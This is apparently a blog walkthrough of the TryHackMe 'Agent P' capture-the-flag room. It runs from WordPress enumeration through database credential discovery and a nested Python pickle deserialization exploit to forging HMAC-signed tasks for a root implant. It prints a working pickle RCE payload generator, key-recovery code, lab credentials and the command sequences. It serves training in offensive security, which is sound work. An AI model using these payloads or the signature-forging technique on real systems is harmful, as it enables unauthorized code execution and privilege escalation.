TryHackMe - Overflow The Jackpot CTF - Agent P

 



TryHackMe – Agent P: Full Boot2Root Walkthrough

Introduction

Agent P is a Hard-difficulty Boot2Root room that combines several different areas of offensive security: WordPress enumeration, web exploitation, credential discovery, Linux privilege escalation, Python deserialization, reverse engineering and cryptographic protocol analysis.

What makes this machine particularly interesting is that obtaining root is not the only objective. The machine is already compromised by an internal Evil Inc infrastructure, including a root-owned implant. The final stage therefore requires us to understand how that implant communicates and ultimately take control of the mechanism that is already running with root privileges.

The overall attack path is:

WordPress
   │
   ├── heinz
   │
   └── WordPress foothold
          │
          ▼
       MySQL
          │
          ▼
         norm
          │
          ▼
   Evil Inc infrastructure
          │
          ▼
       vanessa
          │
          ▼
    Python pickle abuse
          │
          ▼
    Root implant analysis
          │
          ▼
       HMAC recovery
          │
          ▼
    Forged signed task
          │
          ▼
         root

1. Initial WordPress Enumeration

The first thing to identify is what is running on the HTTP service.

The scan shows an Apache server and, more importantly, a WordPress installation.

The relevant information from the enumeration is:

Apache/2.4.58 (Ubuntu)

WordPress 6.9

Theme:
Twenty Twenty-Five 1.5

User:
heinz

The WordPress REST API is also exposed.

One important detail is that the REST API is not located at /wp-json/ on this installation. The working endpoint is:

/index.php/wp-json/

This explains why a request such as:

curl http://10.114.174.192/wp-json/

returns a 404, while:

curl http://10.114.174.192/index.php/wp-json/

returns the WordPress API document.

The API exposes the available namespaces and routes:

curl -sS "http://$IP/index.php/wp-json/" | jq '.routes | keys[]'

To narrow the results down to interesting WordPress resources:

curl -sS "http://$IP/index.php/wp-json/" |
jq -r '.routes | keys[]' |
grep -E '/wp/v2/(users|posts|pages|media|batch)'

This gives us endpoints for users, posts, pages and media.

Interestingly, /wp/v2/batch is not present:

curl -sS "http://$IP/index.php/wp-json/" |
jq '.routes["/wp/v2/batch"]'

Output:

null

So there is no reason to continue investigating the batch endpoint.


2. Enumerating WordPress Users

The users endpoint is particularly interesting because it can disclose usernames without authentication.

curl -sS \
"http://$IP/index.php/wp-json/wp/v2/users/" | jq

The response identifies:

{
    "id": 1,
    "name": "heinz",
    "slug": "heinz"
}

Therefore we have a valid WordPress username:

heinz

This is useful information, but it does not mean that we can simply log in with that username.

At this point we know:

WordPress user: heinz

but we still need an authentication mechanism or another vulnerability to turn this information into access.


3. Enumerating Posts and Application Content

The REST API also exposes published posts:

curl -sS \
"http://$IP/index.php/wp-json/wp/v2/posts?per_page=100" | jq

The machine contains posts such as:

What's up with genie?
This is where it all started!

The API also reveals metadata such as:

  • post IDs

  • authors

  • publication dates

  • revisions

  • comments

  • media relationships

  • source URLs

For example, the post objects identify heinz as the author.

This confirms that the REST API is useful for reconnaissance, but the publicly visible posts themselves are not the primary path to the final objective.


4. Initial Foothold

The next step is to exploit the vulnerable WordPress functionality present on the machine.

The supplied solution uses:

python3 wp2shell.py shell http://10.129.128.200 -i

The important concept here is that the WordPress foothold gives us command execution in the web application's context.

Once command execution is available, the investigation changes from web enumeration to operating-system enumeration.

The first goal is not immediately to become root.

Instead, we want to answer:

What credentials and internal services are available from the web application's environment?


5. Inspecting the WordPress Database

The WordPress installation has access to its MySQL database.

We can connect using the database credentials available to the application:

mysql -uwpuser -pwp_WjURfdI wordpress -e 'SHOW TABLES;'

This command does three things:

  • -u wpuser specifies the MySQL username.

  • -p... supplies the password.

  • wordpress selects the WordPress database.

  • -e executes the supplied SQL statement.

The first query lists the database tables:

SHOW TABLES;

Among the tables we find an interesting custom table:

wp_infra_accounts

That is immediately worth investigating because it does not look like a standard WordPress table.

We can query it with:

mysql -uwpuser -pwp_WjURfdI wordpress \
-e 'SELECT * FROM wp_infra_accounts;'

The table contains:

host_user    host_pass                  note
norm         N0rm_th3_r0b0t_2026        ssh sync target for the -inator newsletter cron

This gives us a completely new credential set:

username: norm
password: N0rm_th3_r0b0t_2026

This is the transition from the web application to the internal Linux environment.


6. SSH as norm

We can now attempt SSH authentication:

ssh norm@10.129.128.200

Once authenticated, the first thing to establish is exactly who we are:

id

We can also check whether the other interesting account exists:

getent passwd norm vanessa

This confirms that both accounts exist on the system.

At this point, we have achieved the second stage of the room:

WordPress
   ↓
database credentials
   ↓
norm

7. Enumerating the Internal System

Now we move into standard post-exploitation enumeration.

The supplied walkthrough uses:

ps auxww

to inspect running processes.

The ww options are useful because they prevent command lines from being unnecessarily truncated.

Next:

ss -lntup

This enumerates listening TCP/UDP sockets and helps identify local or network-facing services.

We also inspect the important filesystem locations:

ls -la /home /opt

And finally, we check for SUID binaries:

find / -xdev -perm -4000 -type f 2>/dev/null

and Linux capabilities:

getcap -r / 2>/dev/null

The interesting discoveries are:

/home/norm
/home/vanessa
/opt/evilinc/implant
127.0.0.1:8700
/run/evilinc/tasking.sock

This is the point where the challenge starts to reveal its real theme.

There is an entire Evil Inc infrastructure running locally.


8. Inspecting the Evil Inc Services

The running services are controlled by systemd.

We can inspect their service definitions:

cat /etc/systemd/system/evilinc-implant.service
cat /etc/systemd/system/evilinc-c2.service
cat /etc/systemd/system/evilinc-heartbeat.service
cat /etc/systemd/system/evilinc-panel.service

The most important entries are the following.

The panel runs as vanessa:

User=vanessa
Group=vanessa
WorkingDirectory=/var/www/evilinc-panel
Environment=EIC_PANEL_CONF=/etc/evilinc/panel.conf
ExecStart=/usr/bin/gunicorn --bind 127.0.0.1:8700 --workers 2 app:app

The C2 tasking server runs with root privileges:

Group=root
WorkingDirectory=/opt/evilinc/c2
ExecStart=/usr/bin/python3 /opt/evilinc/c2/tasking_server.py

And the implant itself runs as root:

User=root
ExecStart=/opt/evilinc/implant

This is a major finding.

We now know that:

127.0.0.1:8700

is a local Evil Inc panel, while:

/opt/evilinc/implant

is a root-owned executable.


9. Discovering the Panel Secret

Because norm belongs to the Evil Inc group, we can inspect the panel configuration:

id norm
getent group evilinc

Then:

cat /etc/evilinc/panel.conf

The configuration contains:

operator_secret = b3hind_sch3dul3_th1s_m0nth

This gives us the authentication secret required by the local panel.

The panel is only bound to localhost, so from our attacking machine we cannot directly access it.

We therefore create an SSH tunnel:

ssh -L 8700:localhost:8700 norm@10.129.128.200

This maps:

attacker:8700
      ↓
SSH tunnel
      ↓
target:127.0.0.1:8700

We can then communicate with the panel through the tunnel.


10. Inspecting the Panel API

The panel responds to HTTP requests:

curl -s http://127.0.0.1:8700

More interestingly, it exposes a blueprint export endpoint:

curl -s http://127.0.0.1:8700/api/blueprints/export

The endpoint returns a Base64-encoded pickle object.

For example:

gASVRgAAAAAAAAB9lCiMBG5hbWWU...

At this point, it is important not to immediately execute or deserialize unknown pickle data.

Instead, we can inspect it safely.


11. Safely Inspecting the Pickle

The payload is Base64 encoded, so we first decode it.

A small Python script can use:

import base64
import pickletools

b64_payload = "..."

pickle_bytes = base64.b64decode(b64_payload)

pickletools.dis(pickle_bytes)

The important part is:

pickletools.dis(pickle_bytes)

pickletools allows us to disassemble the pickle bytecode without performing the normal object reconstruction that makes untrusted pickle data dangerous.

The exported object turns out to represent a normal blueprint:

{
    "name": "Monthly Digest",
    "sections": ["intro", "schemes", "outro"]
}

So the application is deliberately handling serialized Python objects.

That makes the import functionality particularly interesting.


12. Authenticating to the Panel

The panel login endpoint accepts the secret as form data:

curl -sS -i \
  -c panel.cookies \
  -X POST http://127.0.0.1:8700/api/login \
  -d 'secret=b3hind_sch3dul3_th1s_m0nth'

The -c panel.cookies option tells curl to save the received cookies.

The server responds with an authentication cookie.

We can then reuse that cookie when interacting with the import endpoint:

curl -sS \
  -b panel.cookies \
  -X POST http://127.0.0.1:8700/api/blueprints/import \
  --data-urlencode 'blueprint=...'

The exported sample can be imported successfully.

This confirms that we understand the panel's expected input format.


13. Escaping the Restricted Pickle Loader

The interesting security boundary is that the application does not simply perform unrestricted pickle deserialization.

The challenge therefore becomes:

Can a nested pickle object escape the restricted loader?

The supplied solution constructs two pickle objects.

The inner object defines:

class Inner:
    def __reduce__(self):
        return os.system, (command,)

The __reduce__() method controls how Python reconstructs the object.

The outer object then contains the serialized inner pickle:

class Outer:
    def __reduce__(self):
        return pickle.loads, (inner_blob,)

Conceptually:

Outer pickle
     │
     ▼
pickle.loads(inner_blob)
     │
     ▼
Inner pickle
     │
     ▼
os.system(command)

The payload generator is:

#!/usr/bin/env python3
import base64
import os
import pickle
import sys

command = sys.argv[1]

class Inner:
    def __reduce__(self):
        return os.system, (command,)

inner_blob = pickle.dumps(Inner(), protocol=4)

class Outer:
    def __reduce__(self):
        return pickle.loads, (inner_blob,)

print(base64.b64encode(
    pickle.dumps(Outer(), protocol=4)
).decode())

Before doing anything destructive, the walkthrough uses a harmless proof-of-execution:

python3 make_payload.py 'id > /tmp/vanessa_id'

The resulting Base64 payload is then submitted to the authenticated import endpoint.

If successful:

cat /tmp/vanessa_id

reveals the identity under which the command executed.

This demonstrates command execution as vanessa.


14. Obtaining SSH Access as vanessa

Once arbitrary commands can be executed as vanessa, the walkthrough establishes persistent SSH access using a newly generated SSH key:

ssh-keygen -t rsa -b 2048 -f ./ctf_key -N ""

The public key is then placed into:

/home/vanessa/.ssh/authorized_keys

with the correct permissions.

We can then connect:

ssh -i ctf_key vanessa@10.129.128.200

At this point the attack chain has reached:

norm
   ↓
local panel
   ↓
pickle execution
   ↓
vanessa

But vanessa is still not root.


15. Reverse Engineering the Root Implant

Now we turn our attention to:

/opt/evilinc/implant

The first basic identification commands are:

file /opt/evilinc/implant

and:

strings -a -t x /opt/evilinc/implant

file identifies the executable format and architecture.

strings extracts printable strings from the binary and can reveal:

  • socket paths

  • protocol keywords

  • error messages

  • command names

  • file paths

  • embedded data

For deeper analysis, the binary can be copied locally:

scp norm@10.129.128.200:/opt/evilinc/implant ./implant

The important discovery is that the implant communicates through:

/run/evilinc/tasking.sock

16. Understanding the Tasking Protocol

The implant repeatedly connects to the Unix socket and polls for tasks.

The observed protocol is:

POLL <last_processed_id>

The server returns newline-separated tasks and terminates the response with:

END

Each task contains five fields:

id|type|command|nonce|signature

The signed portion is:

id|type|command|nonce

The signature itself is an HMAC-SHA256 value.

Most importantly, when the task type is:

exec

the implant eventually executes:

system(command)

This means the implant is effectively a root-level command execution mechanism.

The only major protection is the HMAC verification.


17. Recovering the HMAC Key

The key is not stored directly inside the binary.

Instead, the implant generates key material using a deterministic linear congruential generator.

The initial state is:

0x1A2B3C4D

and each iteration performs:

state = (state * 0x41C64E6D + 0x3039) & 0xffffffff

The generated byte is:

(state >> 16) & 0xff

The resulting 32-byte stream is XORed with an embedded 32-byte blob:

1588c57c026ae5eb9c2d1817af48f709
64efff765e58d112d8f116d70f9941b4

The resulting key material is then used with the machine ID:

implant_key = HMAC_SHA256(key_material, machine_id)

The machine ID in the target is:

ec237b10a5f6e959a3088340f9904b31

The reconstruction can therefore be implemented in Python:

import hashlib
import hmac

machine_id = b"ec237b10a5f6e959a3088340f9904b31"

blob = bytes.fromhex(
    "1588c57c026ae5eb9c2d1817af48f709"
    "64efff765e58d112d8f116d70f9941b4"
)

state = 0x1A2B3C4D
stream = bytearray()

for _ in range(32):
    state = (state * 0x41C64E6D + 0x3039) & 0xffffffff
    stream.append((state >> 16) & 0xff)

key_material = bytes(
    a ^ b for a, b in zip(blob, stream)
)

implant_key = hmac.new(
    key_material,
    machine_id,
    hashlib.sha256
).digest()

print(implant_key.hex())

The reconstructed key is:

aa3e4980d20530450df2e4807cddc7a66f8391b79df9faaacde58b75bb483319

18. Validating the Reverse Engineering

Before attempting to forge a privileged task, it is important to verify that the reconstructed algorithm is actually correct.

The socket can be queried with:

printf 'POLL 0\n' |
timeout 3 socat - UNIX-CONNECT:/run/evilinc/tasking.sock

One of the legitimate tasks returned by the implant is:

10|sysinfo|uptime|1000|2b33d3bf90540c999ecd917150e514240cc02cef3cd4fece3486790681103718

The signed message is:

10|sysinfo|uptime|1000

We calculate:

message = b"10|sysinfo|uptime|1000"

signature = hmac.new(
    implant_key,
    message,
    hashlib.sha256
).hexdigest()

The calculated signature matches the captured signature exactly:

2b33d3bf90540c999ecd917150e514240cc02cef3cd4fece3486790681103718

This is a critical validation step.

Rather than assuming that the reverse-engineered algorithm is correct, we verify it against a known input/output pair.


19. Discovering Task Submission

The Unix socket has a command interface.

We can probe it:

printf 'HELP\n' |
socat - UNIX-CONNECT:/run/evilinc/tasking.sock

The response:

ERR unknown verb

indicates that HELP is not supported.

Further probing reveals the submission verb:

SUBMIT

Sending it without a complete task produces:

SUBMIT: ERR expected id|type|cmd|nonce|sig

This confirms the expected format:

SUBMIT id|type|command|nonce|signature

At this point we have all the pieces required to construct a legitimate-looking task.


20. Forging a Root Task

The final demonstration uses a high task ID:

999999

The task type is:

exec

and the command is:

cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt

The nonce is:

424242

The signed message therefore becomes:

999999|exec|cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt|424242

The HMAC is calculated using the recovered implant key:

message = f"{task_id}|{task_type}|{command}|{nonce}"

signature = hmac.new(
    implant_key,
    message.encode(),
    hashlib.sha256
).hexdigest()

print(f"SUBMIT {message}|{signature}")

The resulting line is submitted to the tasking socket:

printf '%s\n' \
'SUBMIT 999999|exec|cp /root/root.txt /tmp/root.txt; chmod 644 /tmp/root.txt|424242|SIGNATURE' |
socat - UNIX-CONNECT:/run/evilinc/tasking.sock

The server responds:

OK

The root implant will process the task during its next polling cycle.

We can then retrieve the copied flag:

cat /tmp/root.txt

The important point is that we did not exploit a conventional SUID binary or a vulnerable sudo rule.

Instead, we:

  1. discovered a root-owned implant;

  2. reverse engineered its protocol;

  3. reconstructed its HMAC key;

  4. generated a valid signature;

  5. submitted a forged task;

  6. allowed the root implant itself to execute our command.

That is the central idea behind the final stage of Agent P.


21. Final Attack Chain

The complete compromise can be summarized as:

                    WEB
                     │
                     ▼
              WordPress / heinz
                     │
                     ▼
             WordPress foothold
                     │
                     ▼
                  MySQL
                     │
                     ▼
             wp_infra_accounts
                     │
                     ▼
                    norm
                     │
                     ▼
             Evil Inc services
                     │
             ┌───────┴────────┐
             ▼                ▼
       Local panel       Root implant
        :8700           tasking.sock
             │                │
             ▼                │
       panel secret           │
             │                │
             ▼                │
       pickle import          │
             │                │
             ▼                │
          vanessa             │
             │                │
             └───────┬────────┘
                     ▼
             Reverse engineer
                 implant
                     │
                     ▼
              Recover HMAC
                     │
                     ▼
             Forge valid task
                     │
                     ▼
                    ROOT

22. Lessons Learned

Agent P demonstrates why a successful compromise does not necessarily end when you obtain an interactive shell.

The initial WordPress foothold is only the beginning.

The most important lessons from the room are:

Enumerate the application deeply

The REST API exposed useful information about the WordPress installation and the heinz account.

Inspect application data

The custom wp_infra_accounts table was more valuable than the standard WordPress tables because it contained credentials for another internal account.

Enumerate locally after obtaining a shell

The important infrastructure was not exposed directly to the attacker. It was only visible after logging in as norm.

Commands such as:

ps auxww
ss -lntup
find / -xdev -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null

helped reveal the real architecture.

Treat custom services as attack surfaces

The Evil Inc panel, C2 server, Unix socket and implant were all custom components.

Understanding what these components actually do was more useful than blindly searching for a standard Linux privilege escalation.

Be careful with serialized data

Python pickle is extremely powerful and dangerous when untrusted data reaches a deserialization primitive.

The challenge demonstrates how a restricted loader can still become unsafe when nested serialized data is processed.

Validate reverse engineering

The HMAC reconstruction was not trusted blindly.

A known legitimate task was used to confirm that the recovered key generation algorithm produced the exact expected signature.

Root may already belong to someone else

The final stage of Agent P is particularly interesting because the machine is already compromised.

The goal is not merely:

“How do I become root?”

but:

“Who already has root, how does their tooling work, and can I take control of it?”

That distinction is what makes the final part of the challenge much more interesting than a conventional privilege escalation.


VIDEO : 

Comments

Popular posts from this blog

TryHackMe - Typo Snare Threat Hunter Simulator (medium level)

TryHackMe - Matryoshka CFT

TryHackMe - Threat Hunting Simulator - Health Hazard